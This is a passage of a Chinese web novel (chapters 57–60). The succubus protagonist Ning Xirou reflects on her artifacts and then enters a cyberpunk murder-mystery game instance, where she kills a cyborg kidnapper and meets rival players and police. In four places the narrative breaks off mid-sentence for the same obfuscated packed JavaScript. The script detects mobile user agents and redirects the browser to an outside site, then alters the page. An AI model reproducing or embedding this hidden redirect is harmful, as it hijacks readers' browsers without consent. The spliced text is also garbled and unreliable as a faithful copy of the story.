“她是你的傀儡,我们只是暂时保管着她的傀儡线,控制不了她的。” 木偶摇摇头,他并不知道芹秀兰为什么会出现。 “我的傀儡?” 宁汐柔楞了一下。 “对啊,你给了她眼睛,赐予她生命,她就是你的傀儡了。” 木偶看着她,又说: “池隨冬也是你的傀儡哦。” “傀儡师自己就是最强大的傀儡,这种事你不觉得很有趣吗?” 木偶的笑容甜蜜。 寻找芹秀兰的事被暂时放下。 宁汐柔和离秽道别,带着木偶回到了自己的空间。 在柏景垣的疯狂撒积分之下,这里装修得十分舒适。 宁汐柔窝在两米宽的懒人沙发里,看着天花板上的吊灯,默默在心里整理眼下的信息。 第一个,也是最重要的一个,自然就是她激活的那个系列任务。 “失落深渊”。 任务要求她收集到剩下的五个神器。 但是怎么收集?在哪收集? 这些有用的消息倒是一个都没给。 难不成要指望神器跟着她到处跑? 宁汐柔忍不住笑了下,为这有点荒诞的幽默。 但标记使徒这个能力很有意思, 不知道是不是只能对玩家使用。 如果能在副本中标记强力NPC…… 那将是极其可怕的技能。 宁汐柔将这件事默默记在心里,打算下个副本找机会试试。 第二个,是那个出现又消失的“魔神”铭牌。 宁汐柔大体有想法,但是还不能确定。 宁汐柔自有意识起就使用拟态生活,那是她第一次以真身现世。 那是纯然的魔力形态,每维持一秒钟的耗费都极大。 也是因此,她才会在离开副本后虚弱昏迷。 魔力是魅魔生命的根本,魔力耗尽,她就会随之死去。 如果不是为了以足够强大的力量震慑海村的傀儡们,获得他们真正的信仰,宁汐柔不会那样冒险。 “魔神”铭牌出现的时机,和她以真身出现在副本中的时间相一致。 消失的时间,也和她离开副本,回到无限游戏服务器的时间点一致。 这是否意味着,只有在魔力真身下,她的游戏数据才会被系统录入承认? 可是,为什么? 这一点,只能暂且搁置,等待以后探索。 第三个,就是消失的海神岛和芹秀兰。 在《海村往事》副本的末尾,宁汐柔成了海村信仰的新神明,用力量的证明,获得了他们真正虔诚的信仰。 而傀儡们也因为这份信仰的力量,自愿将自己的傀儡线全部交给了宁汐柔。 傀儡线凝聚在一起,成了宁汐柔获得的第二个神器:傀儡之眼。 现在正装在她的眼眶中。 当时宁汐柔脱离副本失败时,池隨冬曾经说过: “这个副本的规则已经被改变了”。 海神岛原本是一个无限游戏中的副本,在副本通关后,就会被销毁。 就如同所有副本一样。 但因为宁汐柔成为了海神岛的“神明”,她得到了海神岛的信仰,成为了那一片领域的主人。 理论上来说,海神岛和上面的傀儡们,现在都属于宁汐柔了。 可问题就在这里。 岛呢? 从副本出来之后,宁汐柔虽然依然能感受到傀儡们通过傀儡线向她传递的信仰力量,可是她却找不到那股力量的来源。 也就是说,她找不到海神岛的入口了。 好好的一个领地,她还没来得及研究呢,就这么消失了。 宁汐柔有些郁闷。 她是魅魔,贪婪是本性。 她不喜欢失去任何属于她的东西。 这才是宁汐柔要找到池隨冬的原因。 当然,如果能顺便把玩家榜榜一也标记成她的使徒,那就更好不过了。 不过,从木偶的话来看,想要见到容貌焦虑的池隨冬,估计还有一段时间。 在那之前,还得先想想即将到来的下一个副本。 “谁杀死了周承铭……” 她默念着这个名字,打了个哈欠。 休息两日后,宁汐柔和年蓁蓁、七蔺三人,一起站在公会里的副本入口。 年蓁蓁和七蔺一起玩了两天,两个人之间似乎已经十分熟稔。 “要走了?” 离秽来送她们。 “有什么要嘱咐的吗,会长?” 宁汐柔打趣道。 “平安回来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756009|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离秽看着她,笑了下。 “当然。” 宁汐柔也笑。 再次进入副本的瞬间,没有任何痛感,宁汐柔只听见一声震耳欲聋的枪声响起。 “砰——!” 宁汐柔睁开眼睛,她正站在一座大楼的天台上,只差一步就是万丈深渊。 她的脖子被一只手死死掐住。 有人挟持着她,从背后。 “放下武器!立即投降!放开宁侦探!” 不远处的扬声器里传来声嘶力竭的叫喊声。 看上去是个赛博都市。 宁汐柔的视线掠过眼前一片红绿蓝紫的光污染,看着眼前几个来着头盔的机械战警。 是的,机械战警。 这几个全副武装,持枪戒备的,都是实打实的机器人,机械肢体散发着莹蓝色的光,上面是某种特殊的图腾。 “你们这群懦夫!躲在这些烂铁后面算什么东西?!来,杀了我,杀了我!” 宁汐柔背后的绑匪不甘示弱地吼回去。 他说话间将手中的枪.口抵在宁汐柔脑袋上。 很传统的手.枪,甚至有种古早令人怀恋的感觉。 这一段有点像是副本的开场动画。 理论上来说,宁汐柔应该听听接下来还会有什么有效信息,说不定未来可以用上。 但她不喜欢这个姿势。 她也从来不委屈自己。 “你要杀的人是谁,不是我吧?” 宁汐柔笑着问。 “别说话!闭嘴!” 绑匪根本不打算和她交流,只是怒吼道。 “好呀,我闭嘴。” 她笑眯眯地回答,一点没有不快。 然后,她一脚踩在绑匪的脚背上——发出了“咚”的一声。 硬的,是铁。 “哈哈!你是傻子吗?” 绑匪楞了一下,大笑起来。 “啊,是吗?” 她也停顿了一下,好像不好意思一样,眨了眨眼睛。 随着她的声音,脚上的动作继续,以不可撼动的速度,将钢铁做成的义肢踩碎! 宁汐柔回身一个飞踢,将绑匪整条机械左腿踢开! 钢铁成为碎片,义肢残骸向万丈高楼之下坠去,被各种颜色的光渲染吞噬。 “你!不可能!你们这些侦探都只是没有经过改造的次等人类!怎么?怎么会!” 绑匪痛呼一声,不可置信地叫嚷着。 “哦,看来机械的身体也会痛?” 宁汐柔笑眯眯说着,歪了歪头: “那可真是太好了。” 她抬起手,一把按住绑匪的手臂, 然后,她带着笑意,将那只曾经掐住她脖子的手,从男人的肩膀上扯了下来。 “这只手的改造不完全呢。” 看着手臂根出被扯出来的一点人类血肉和神经,宁汐柔点评道。 “啊——!不!不!放过我!救救我!救我!” 男人痛呼着,不断发出求救声。 不过,这话并不是对着宁汐柔说的。 他的目光死死盯着那些机械战警。 “救你?不对呀,他们是来救我的。” 她笑眯眯地摸上男人的耳朵: “他们现在,已经完成任务,击毙绑匪了哦。” 宁汐柔将男人的头颅整个扯下,抬手扔在了地上。 蓝色红色的血液混杂流淌,她的声音甜美温柔,仿佛情人伏耳低语。 58. 谁杀了周承铭(2) 踩着地上颜色浑浊的血液,宁汐柔一步步走向前。 她在机械战警的面前停下。 “宁侦探,您受惊了。” 其中一个战警站出来,他带着面具的脸朝向宁汐柔,声音是无机质的冰冷。 乍一听,和系统的声音有点像。 宁汐柔不自觉想。 “我没什么事。” 宁汐柔摇摇头,抬眼看着眼前的人形机械。 也许是因为全身都被作战装备覆盖,第一眼看过去,除了更加高大之外,他们似乎和人类没什么区别。 只是面具上闪烁着的,仿佛瞳孔一般的无机质蓝光,显示着他们非人类的身份。 宁汐柔分不清那是作战装备还是它们的机体,总之,在每个人形机械左边胸口的位置上,都用某种特殊颜料描绘着一个图案。 红色,简约,像是某个字母组合的变体。 在宁汐柔回复之后,机械战警们就没有了声音,沉默着开始清理地上的痕迹。 红色的血液,蓝色的机油润滑液, 和被恐怖力量直接扯下来的头颅。 机械外壳和内在无生命的本质。 虽然没有失明,但宁汐柔的眼睛再一次失效了。 她只能看见它们本身,而那机械的身躯之上,没有灵魂,也没有欲望。 人形机械们没有对刚才发生的事情提出任何疑问。 好像宁汐柔徒手扯下绑匪的头颅和手臂,一脚踢碎钢铁义肢这种完全超出了一般人类力量范围的表现,都是再平常不过的小事。 “宁侦探,请和我们来。” 领头的人形机械默默清理完现场,再次来到宁汐柔面前。 它和它的其他同伴似乎有些不同。 这个人形机械左胸口前的红色图案,似乎有几道不显眼的划痕。 “我们要去哪里?” 宁汐柔问。 “缉查处。” 人形机械回答。 [叮咚——] [恭喜您进入推理类副本《谁杀了周承铭》!玩家进入副本时间:三分钟,玩家身份已确认,即将为您发放本次副本身份卡] [身份卡抽取中——] [检测到您已绑定:特殊身份卡X1!] 宁汐柔再次感受到自己手心里浮现出来的卡片轮廓。 是她的特殊身份卡。 但这一次有点不一样。 在之前的副本中,不管是“领主继承人”还是“海村巫女”,宁汐柔拿到的都是“原住民身份卡”。 原住民身份卡,意味着玩家们在副本中的身份,有过往,有故事,有曾经的交集和痕迹。 在这样的前提条件下,宁汐柔拿到的身份卡,基本上都是故事的“核心”,是不可或缺的一环。 就像德伦郡不能没有领主继承人,海村不能失去巫女。 可这个副本里,宁汐柔拿到的显然是“外来者身份卡”。 在年蓁蓁拿到的副本钥匙,也是“侦探邀请函”中,这一点已经十分明确。 除了被绑定嫌疑人身份卡的年蓁蓁, 玩家们所代表的“侦探”,都是平里市为了调查市长周承铭被杀案而邀请来的外援。 那么,这样的设定下,特殊身份卡的特殊之处,又在哪里? 宁汐柔之所以会同意来到这个副本,也有着这方面的好奇。 [姓名:宁侦探] [身份:平里市外聘侦探] [任务:请保护真正的杀人凶手] [倒计时:7:00:00:00] 系统提示音说完,倒计时开始转动。 “保护真正的杀人凶手”? 宁汐柔挑了下眉。 看来,这是故事背景上不够特殊,就在主线任务上“特殊”了。 那么,年蓁蓁究竟是不是真正的杀人凶手呢? 宁汐柔跟着机械战警们来到了“平里市缉查处”。 赛博世界的交通方式相当发达,她甚至不需要离开天台,只需要站在机械战警们铺出来的“胶囊”通道里,就可以将自己“传送”到想要去的地方。 宁汐柔曾经听说过一个理论。 空间传输,就是讲一个物品,或者人,瞬间粉碎成千亿万个粒子,又在另一端重新组装好。 这样传输之后,到达目的地的人,还会是原来那个人吗? 身为魅魔的宁汐柔不知道这个问题的答案。 这个问题在她身上也不适用。 本质上纯然由魔力构成的魅魔宁汐柔,从来都是无数个碎片组成的。 被打碎千万次也一样。 魔力不散,她不死不灭。 “宁姐。” 来到缉查处,宁汐柔看见七蔺快步走上来。 进入副本之后,他们都同意换上了侦探的服装。 赛博侦探和传统的侦探似乎职能也不完全一致,他们穿着包裹住除了面部之外每一寸肌肤的灰色作战服,腰上挂着一条黑色的腰带,上面有一个看上去像是总控器的装置。 宁汐柔低下头,眉心微蹙,几不可查。 她注意到,自己作战服的手腕处有一道极不起眼的划痕,像是针孔留下的痕迹。 “嗯,你们都在?” 宁汐柔收回视线,掩下神色,看向七蔺。 “嗯,我刚才看见你不在,有点担心。” 七蔺回答。 她说的不是不在缉查处, 而是宁汐柔和她们一起载入副本,却神秘消失这件事。 这不应该。 除了必然是“嫌疑人”的年蓁蓁,宁汐柔和七蔺拥有着同样的“外来侦探”身份。 可她们载入副本后,却不在一起。 更不合逻辑的是, 除了宁汐柔之外的几个玩家,载入副本之后,全部都出现在缉查处。 七蔺这句话不是怀疑,是提醒。 因为载入地点的特殊,宁汐柔现在必然已经引起了其他玩家的注意。 “有点意外。” 宁汐柔点头,回答道。 她的视线掠过眼前几个同样穿着侦探服装的人,他们应该都是玩家。 除了她和七蔺之外,现场还有三位玩家。 一个站在一遍的女玩家,头发染成扎眼的彩虹色,看上去年纪不大,正在把玩着自己手里的飞刀。 一个正在和其他NPC交谈的男玩家,看上去得有三十来岁,缺了一只耳朵,用头发盖住,时不时抬手整理。 还有一个,正笑盈盈看着宁汐柔。 那是个看不出年纪的男人,面容沉静,五官清隽,有种不言自明的雍容气度,一看便是久居上位,却不带一点傲慢骄纵, 如果是池隨冬是一眼望去便难以忘怀的林中青竹,五官身量无一处不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765839|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊艳,是毫无瑕疵的美, 那么眼前人便是乍见不惊,却如醇茶入口,润泽周身,回味悠长的韵。 “我叫晏九夏。” 他迎着宁汐柔的视线,走上前几步,对着她说。 他的视线也落在她身上,并不冒犯,更算不上打量,但宁汐柔依然不自觉皱起眉。 这种游刃有余的目光,她不喜欢。 “我看七蔺和你在一起,看来,你就是[回程]的新成员了。离秽一向很会挑人,一般人不能入她的眼。” 晏九夏微笑着说, “看来这个副本,还要仰仗你了。” 平心而论,他说话的姿态绝算不上居高临下。 甚至宁汐柔看着他欲望的颜色,也在那火焰里找不出来一点可以被称为“恶意”的东西。 但她还是没回话,只看了他一眼,转身往另一个NPC的方向走去。 七蔺看着她扭头就走一点不给面子的动作,表情停滞了一瞬。 “……抱歉。” 她一向在队伍里负责“傲气甩头”的部分,没想到有朝一日居然还需要给别人收拾烂摊子。 七蔺有点恍惚了。 “没关系,能理解的。” 被宁汐柔这样下了面子,晏九夏似乎也一点不介意,脸上依然是笑盈盈的。 不是表面功夫,这个人心里真的没有因此产生一点负面情绪。 宁汐柔回头看了一眼,判断道。 但到底是没有,还是实在太会撒谎,甚至连自己的心都能骗过去? 宁汐柔心想。 不过她没有在这个自己并不感兴趣的问题上浪费太多时间, 她一贯如此。 “为什么我会被劫持?你们的安保工作是怎么做的?” 她走到办公室里坐在最中心工位的人,抬起下巴,理直气壮地质问道。 “……啊?” 七蔺在她身后,脚步停了一下。 一般玩家进入副本,都是先努力和NPC打好关系。 七蔺本身不善于此,也很少这样做。 但即使是她这样的冷漠孤狼型玩家,也几乎, 不对,是从来不会, 一进入副本,就去和NPC拉仇恨! “宁姐……” 七蔺有点想要伸出手拉宁汐柔。 “你把我们叫过来,是要解决案子,还是创造案子?!” 宁汐柔一圈砸在眼前NPC的桌子上。 她控制了力量,桌子只是被锤出“咚!”的一声响。 并没有碎掉。 但眼前戴着眼镜的年轻NPC还是被吓得差点从椅子上弹起来,扶着眼镜,脸色刷一下就白了。 “我、我们、我们不是……” “好了好了,有事就来找我嘛,吓唬小朋友算什么?” 一个带着笑意的男声从角落里传来,是一个格外高大的男人。 他从角落里站起来,打着哈欠,把自己的缉查制服披在身上,睡眼惺忪,看向宁汐柔,对着她眨了眨眼。 “让你生气的话,我会很自责的哦,宁侦探。” 他说着,走到宁汐柔面前,握住她的手背,俯身轻吻上去。 “毕竟,守护所有美丽的人,都是我的天职呐。” 好一副风流浪子,潇洒姿态。 可这个吻,却落在他自己的指节上。 59. 谁杀了周承鸣(3) 宁汐柔默默看了眼前的高大男人半响。 这个人的欲望,颜色很少见。 不像恶念,也谈不上善念。 是一种介于灰与白之间的颜色。 很浓郁。 “自我介绍一下,我叫谢肆言,是缉查处的队长。” 男人说道。 他的长相也相当不错,五官潇洒,剑眉星眸,眼神锐亮,自有一股恣意风流的味道。 但这不是他最吸引人的地方。 眼前的男人身量高大,将近两米左右,站起来时甚至能在地面上投出一片足以将人笼罩的阴影。 和他身高相匹配的,还有蛰伏在衬衫布料之下,依然十分明显的虬结肌肉。 谢肆言的臂膀几乎可以用宽阔来形容,动作间勾勒出胸肌处线条近乎夸张的轮廓,不可想象这幅身躯将有多么强大的爆发力。 再往下去,线条弧度猛地收紧,黑色的作战腰带勒出劲瘦有力的腰身,大腿处的枪带勒出一点肉感,绑带高筒战靴包裹着小腿。 他站在那里,犹如一把寒光锋刃毕现的刀。 凶兽。 这是谢肆言给人的第一印象。 猛兽沉睡匍匐般的躯体,配上一张风流侠客潇洒意味的面孔。 不仅没有半点笨重壮硕的钝感,反而生出一种在隐秘处发酵的荷尔蒙气息。 正如他身上的味道,清爽干净,带着一点油墨刚刚印刷出来的香。 “宁汐柔。” 她说着,毫不掩饰自己上下打量的目光和眼神中的兴味。 宁汐柔是一名口味包容度很高的魅魔。 她可以喜欢暄软的小点心,也可以喜欢辛辣的大盘菜。 宁汐柔将自己手从谢肆言的手心中抽出来。 不知是有意无意,她指尖划过他的手腕。 是脉搏跳动的声音。 “看来,宁侦探不生我的气了。” 似乎完全没有注意到手腕处被指甲划过的痒,谢肆言的脸上扬起一个算得上爽朗的笑容。 “如果不是缉查处出动人马救我,我现在怎么还能好好站在这里?我感激还来不及,又怎么会生气。” 宁汐柔也笑着回答。 在两人视线相撞交缠的瞬间,有一个弱弱的声音冒出来: “额,其实那个不是我们派去的……” “嗯?” 宁汐柔的视线看过去。 说话的正是刚才被宁汐柔质问的倒霉小职员,此刻挠着头,看着谢肆言的方向,一脸自己不小心说错了话的愧疚表情。 他是个长相清秀的年轻人,算不上多好看,但气质很干净,柔和白净。 “额,谢哥……” 小职员结巴了一下,有点不安的样子。 “这有什么不能说的。” 谢肆言笑了一声,他连声音都像个侠客,豁达爽朗。 “哦,好,那和我宁侦探说了。是这样的,当时你被劫持,是地棘集团的‘城市巡逻队’最先响应,派出了机械战警去救援的。” 小职员说着,手指头绞在一起。 “我们缉查处有联网查看现场状态的权限,但可能是绑匪自己带了信号干扰器,我们只看到了你被劫持的画面,后来,就显示网络出现问题,无法查看了。” 他说着,松了一口气: “我们都可担心了!幸好机械战警靠得住,把宁侦探你好好送回来了。” 是的,那些机械战警没有跟着宁汐柔来到缉查处。 不过这也很正常,因为缉查处,看上去是“人”的领地。 宁汐柔在一进来时,就已经环视了一圈。 缉查处不大,成员似乎也算不上多,寥寥十几人。 但是和副本开场时挟持宁汐柔的绑匪明显不同的是, 这里的每一个人,都没有任何被机械改装过的痕迹。 “不过也真有意思,在这个时代,地棘出产的东西,居然会断网?” 谢肆言笑了一声,看向宁汐柔,意有所指。 “这倒不一定是对方网络的问题。” 宁汐柔也带着笑意看回去。 和外面布满了光污染的赛博都市比起来,整个缉查处都像是来自百年前的东西。 他们甚至使用的还是最基础的电子屏幕,而非直接投影的数据光屏。 “啊,确实……” 小职员低声说了一句,又在注意到谢肆言的神色之后,猛地闭上了嘴,低下头,眼珠子滴溜溜地转。 看上去真是个纯白干净的小可怜。 宁汐柔不自觉用视线去描摹他弱质清丽的脸庞。 "咳、咳咳!" 谢肆言突然咳嗽了两声,把宁汐柔的注意力拽了回来。 “谢队长,身体不舒服?” 宁汐柔问,带着点笑。 “毕竟大案当前,都好几天没睡好觉了。” 谢肆言也照单全收,半点不害臊。 “一想到几位侦探们接下来也要这么辛苦,我真是于心不忍啊。” “谢队长这话就客气了,既然有幸得到平里市的邀请,我们自然要全力以赴,责无旁贷。案件紧急,请先带我们看看案发现场吧?” 说话的是晏九夏。 随着他走上前来,宁汐柔才发现这人其实个子也高得吓人。 分明是文质彬彬的人,可站在人形凶兽谢肆言面前,居然不管是身量还是气势,都丝毫不落下风, “侦探们这么说,我真是十分感动啊。不过宁侦探刚刚被挟持,受到了不小的惊吓,还是要先休息一下?” 此刻,谢肆言眼睛里的笑意就没那么真诚了。 “谢队长这就小看我们宁侦探了。不过是一桩小事,怎么会吓到她呢?” 晏九夏似乎颇为惊讶地问。 “虽然是小事,但是也不能怠慢。毕竟守护宁侦探这样美丽的人,可是我毕生为之奋斗的天职。” 谢肆言一副不赞同的样子。 二人脸上都带着笑,可气势却是互不相让。 他们同时转头看向宁汐柔。 宁汐柔看着这二人之间的机锋交错,颇有兴致,没有开口打破僵局的意思。 一直到整个办公室里的气氛都沉默下来,无声的寂静中,所有的目光都落在她身上时,宁汐柔才慢悠悠地开口问道: “这个案子,不是已经有嫌疑人了吗?我想见见她们。” 这一次谢肆言答应得非常快,不过十分钟之后,几名玩家就站在了审讯室里。 审讯室并不在缉查处内,而在楼上一层的部门里。 “所有嫌疑人都由平里市议会下属的监察部管理,你们有半个小时的时间,可以自由询问嫌疑人。” 谢肆言说完,就离开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774309|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开审讯室的房门,里面坐着两个人,一女一男,都很年轻。 其中女生的面孔,宁汐柔很熟悉。 是年蓁蓁。 “……” 年蓁蓁看到宁汐柔走进来,眼神微动,但没有做出任何反应。 是,现在并不是可以自由说话的时候。 这件审讯室里不仅仅只有宁汐柔年蓁蓁和七蔺三人,还有其他的玩家。 而玩家们之间彼此是敌是友? 现在谁也无从得知。 “我想,在场各位应该都是玩家吧?” 晏九夏成为了最先开口的人。 依然是那副彬彬有礼的温和模样,他自我介绍道: “晏九夏,算是个老玩家了,不过我对这种推理类副本不是很擅长,可能对大家的帮助不多,真是抱歉。” 在他的微笑中,留着长发遮挡耳朵的男玩家几乎是慌不择路地往后退了一步,“咚!”一声撞上了墙面。 其余人都下意识向他看过去。 “你,你就是晏九夏!你是那个、那个‘音乐家’?” 长发男玩家的声音中带着深深的恐惧。 “音乐家”,宁汐柔记得这个铭牌称号。 玩家排行榜第二,仅次于池隨冬和“魔神”状态下的宁汐柔。 池隨冬的能力有多bug,宁汐柔再清楚不过。 能够在排行榜上仅次于他的晏九夏,恐怕也不是个省油的灯。 “是,我们见过吗?” 面对着这样突如其来的惧意,晏九夏却没表现出半点疑惑的意思,只是依旧笑着问。 “没,没有……” 长发男玩家的手不知道什么时候紧紧捂上了自己残缺的耳朵,脸上都是冷汗,却颤抖着堆出讨好的笑: “我只是,听说、听说过您的大名。” “哪有什么大名,只是恰好有点运气罢了。” 晏九夏摇摇头,并不真诚地自谦。 “盛江齐。” 染着一头彩虹发色的年轻女人说道,手里飞刀上下翻飞,残影闪烁间,连宁汐柔的视力都觉得有些跟不上她的速度。 “玩家榜55名。” 七蔺站在宁汐柔身边,开口说了一句。 “哦,你认识我?” 盛江齐笑了,看向七蔺的方向。 “不认识,但你应该认识我。” 七蔺摇头,指了指自己: “七蔺,玩家榜54名。” “哦,对,我该认识你!” 盛江齐的笑容瞬间扩大了,声音满是期待: “这个副本里杀了你,我的排名就又能上升一位了!” “你知道自己的问题在哪里吗?” 七蔺好像一点也不在意这个“追杀宣言”,反而一本正经地说: “你从榜外一路杀上来,都杀了好几个月了,为什么排名才只到55?” “……” 盛江齐手中的飞刀停下了。 “因为你杀的人都太弱了,他们都是正好比你高一名,或者两名。这样的猎物,是不能带来最好收获的。” 七蔺说着,声音平静: “你应该是新人,不知道排行榜的规则。” “杀一个铭牌玩家,你就可以直接取代他们的排名。” 她抬手,指向坐在不远处的晏九夏。 60. 谁杀了周承鸣(4) “铭牌玩家……” 盛江齐眼中闪着兴奋的光,又开始把玩起她的飞刀来。 “我可以帮你。杀了他,你就是玩家榜第二名了。” 七蔺面无表情地说,语气稀松平常得好像他们不是在讨论要干掉无限游戏的玩家榜榜二,而是在商量今天的奶茶要不要加糖。 长发男玩家的眼珠子都快瞪出来了,不知道什么时候一个人缩到了墙角,在阴影里蹲下来,抱住头假装自己不存在。 “疯了,她们都疯了……” 他喃喃自语着,声若蚊蝇。 晏九夏坐在原地,面上笑容依旧,连唇角扬起的弧度都没有改变,只是转头看向宁汐柔。 以他的眼力,自然能看出来谁才是这里有资格和他平等对话的人。 “晏侦探怕了?” 宁汐柔一副看戏姿态,并不打算插手。 她并不了解七蔺的性格,也不知道少年为何突然针对实力明显远胜于自己的晏九夏。 但七蔺是离秽的人,又不是她宁汐柔的人。 宁汐柔没有保护七蔺的义务。 也并不认为离秽会将一个没脑子的鲁莽少年托付给自己。 “副本才刚刚开始,孩子们如果受伤了,行动起来会不方便的。” 晏九夏的语调温和恳切,似乎是真心为她们考虑一样。 即使到了这个时候,他身上依然没有燃起恶意的火焰。 甚至连哪怕一丝的负面情绪也没有。 这个人,有点意思。 宁汐柔缓缓眯起眼睛,舌尖舔过尖利的犬齿。 “孩子们喜欢闹一闹,做大人的也不好扫了她们的兴致,对不对?” 她扬起一个笑。 “当然。” 晏九夏也没有再三推脱,站起身来。 这个能把作战服穿出一身书卷气的男人甚至没有摘下自己的眼镜。 在审讯室的灯光下,眼镜的金属边框折射出一点冷色的光。 “承让了。” 在战斗开始之前,他已经平静地宣告自己的胜利。 以人类肉眼绝对无法捕捉的速度,身材高大的男人闪过刺向瞳孔的飞刀。 然而,就在被躲过的一瞬间,飞刀瞬间分裂成无数片,实质与虚影交错闪现,根本无从分辨。 七蔺的速度比虚影更快,她脚尖踩着桌子,飞身而上,眼见就要踩在晏九夏的肩膀上。 在即将踩上去的瞬间,她的鞋跟弹出一把金属利刃,通体黑色,连光都被无情的吞噬。 宁汐柔的眼神专注起来。 那把金属利刃的武器,等级不会低于离秽的“斩杀黎明”。 这把利刃,此刻正往晏九夏的喉骨上刺去! 然而,无数片飞刀在刺穿男人的身体,瞬间全部落在了地面上,发出叮叮当当的声音; 破空声猎猎的黑色利刃被徒手握住,一把向墙上甩去。 七蔺顺着力道踩在墙面上,收起武器。 她没有继续打下去的意思了。 另一边,盛江齐也召回了自己的飞刀,露出了有点遗憾的表情。 二人一出手皆是杀招,但却甚至没能在留了手的晏九夏身上留下一道伤口。 不过几息之间,战斗已经结束。 实力差距摆在这里,再打也是无用。 “没耽误很久吧?” 晏九夏转过身来,看着宁汐柔。 他连鬓角发丝都未曾被风吹乱。 “给孩子们松松筋骨,耽误一点时间又何妨?” 宁汐柔笑了。 “做得好。” 她看着七蔺,安抚一样地说。 离秽不会把没用的孩子托付给宁汐柔。 宁汐柔也不可能在副本里照顾一个鲁莽少年。 七蔺挑出来这么一回事,反而是在控制事态。 她的玩家榜排名是五十四,盛江齐的排名是五十五,二人之间实力相当。 如果盛江齐上来就攻击七蔺,不管谁输谁赢,都会耽误“在审讯室获得足够信息”这件事。 而将战火强行引向比她和盛江齐都强得多的玩家,相当于小学生和老师约架。 瞬间变成荒谬的战斗,被立刻镇压下来。 至于为什么选择了晏九夏而不是宁汐柔…… 能让别人受累的事,干嘛麻烦自己人? 晏九夏之前说的没错。 离秽的眼光高,能被她选中的,一定都不是普通人。 审讯室里。 除了两名嫌疑人坐着的一边之外,只有两把椅子。 宁汐柔坐了一把,而晏九夏动作自然地坐在她身边。 “那么,我们聊聊副本的事情吧?” 他对着宁汐柔说。 宁汐柔现在有点体会到这个人的“傲慢”了。 在晏九夏的视野里,其他玩家都是“孩子”,或者是什么不值得他投入关注的存在。 这种傲慢并不是恶意的,至少在他的态度中完全没有体现出这一点。 他甚至很照顾,纵容着被他称作“孩子们”的七蔺和盛江齐的行为,完全不计较或者追究二人刚才对他杀意毕露的攻击。 但从所有玩家汇合到现在,他只和宁汐柔有过“讨论”行为。 甚至在配合七蔺的“孩子玩闹”之前,也是先行和宁汐柔征求了意见。 就像……在征求对方监护人的同意。 宁汐柔被自己这个想法逗笑了。 她懒洋洋地靠在椅背上,终于有了一点和这个并不符合自己觅食喜好的男人,开口交流的兴致。 “晏侦探现在有什么发现了?” 打趣一样,宁汐柔转头,撑着下巴看着他。 “……” 被她这么一看,一贯神色自若的晏九夏居然声音顿了一下。 “嗯?” 宁汐柔的笑容缓缓扬起,俯身凑近他。 “晏侦探?” “咳、没事。” 晏九夏手握成拳,掩在唇边咳嗽了一声,才说: “刚才那个队长,很不希望我们去看案发现场。” 他说的是谢肆言。 刚才在缉查处时,晏九夏就提出了要去看案发现场。 以玩家的角度来看,这个副本是个推理类副本,名字就直白地叫做: 《谁杀了周承鸣》 很显然,“查清平里市市长周承鸣之死”,使整个副本中最重要的,也最清晰的主线任务。 在犯罪调查中,所有的证据能体现出来的信息,都比不上真实的犯罪现场。 因此,玩家们作为侦探,第一时间要求去查看凶案现场,是最顺理成章不过的事情。 在这个副本的背景设置中,缉查处是负责调查“周承鸣之死”的部门。 玩家们以侦探的身份到来,也是应了缉查处的邀请,为了协助他们。 但谢肆言作为缉查处队长,不光大白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783569|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天不出去寻找线索,反而自己在部分睡觉。 甚至在侦探提出勘察犯罪现场时,几次推脱。 这不合理。 “缉查处对着案子,不是太上心啊。” 宁汐柔点点头,转头看向坐在自己面前的两个嫌疑人,问道: “那你们又是怎么被抓住的?” 坐在她对面的不是年蓁蓁,而是另一个男生。 他穿着一身囚服,低头沉默着,就连刚才那一场打斗,也没有让他抬起头来。 如果不是在一开始,晏九夏说出“大家都是玩家”时,他那默认的态度。 宁汐柔甚至都要怀疑他是个哑巴NPC。 “……” 男生没有说话。 “我不喜欢被忽视。” 宁汐柔笑着说了一句。 